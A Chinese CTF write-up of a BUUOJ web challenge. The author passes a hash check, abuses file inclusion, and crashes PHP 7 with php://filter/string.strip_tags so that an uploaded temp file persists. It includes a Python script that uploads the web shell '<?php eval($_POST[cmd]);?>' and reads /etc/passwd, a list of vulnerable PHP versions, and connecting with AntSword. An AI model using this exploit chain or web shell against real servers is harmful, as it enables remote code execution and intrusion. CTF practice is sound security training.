做完这题,又get到一个新的知识点。上界面
源代码里有线索
secret是秘密值,name与pass应该是可以控制的变量。抓个包看看
发送与请求有hash值,没猜错应该是用来验证的。拿去爆破了,啥也没爆破出来。先传参
右边的hash值改变了。猜想是不是左边的hash值是secret的md5值,右边是secret与name连起来的hash值。所以pass只需要等于右边的hash就能满足条件。
成功,指向flflflflag.php
代码很简洁,尝试一下读取文件 。这里直接说吧,我把index.php,flflflflag.php,config.php都读取了,没什么有用的信息。而且更重要的是目录下并没有flag文件(我尝试了好久好久,呜呜呜)。这里还有一个文件dir.php。我用三个工具没扫出来,所以工具还是得时常更新
欸,它怎么是读取tmp目录下的文件。是不是很疑惑。其实要用到一个知识点 。
观察响应包可得X-Powered-By: PHP/7.0.33
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。
该方法仅适用于以下php7版本,php5并不存在该崩溃。
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
import requests
payload = "<?php eval($_POST[cmd]);?>"
data={'file': payload}
url="http://3f6b51c8-baa5-42bd-b7c7-68e4d7dd75ff.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)
执行脚本后,访问dir.php
这个应该就是上传的木马了,上蚁剑
连接url
http://3f6b51c8-baa5-42bd-b7c7-68e4d7dd75ff.node5.buuoj.cn:81/flflflflag.php?file=/tmp/phpIBgcKr
没有文件???命令也无法执行。这里又要用disable_function。选择这个模式
结果是出来了,但是flag在哪呢??
也是看的别人的wp,flag在phpinfo里,哎呀,那我连这个干嘛呀。
最后还得是burp收场
又是一个小姿势,可以学着玩玩,哈哈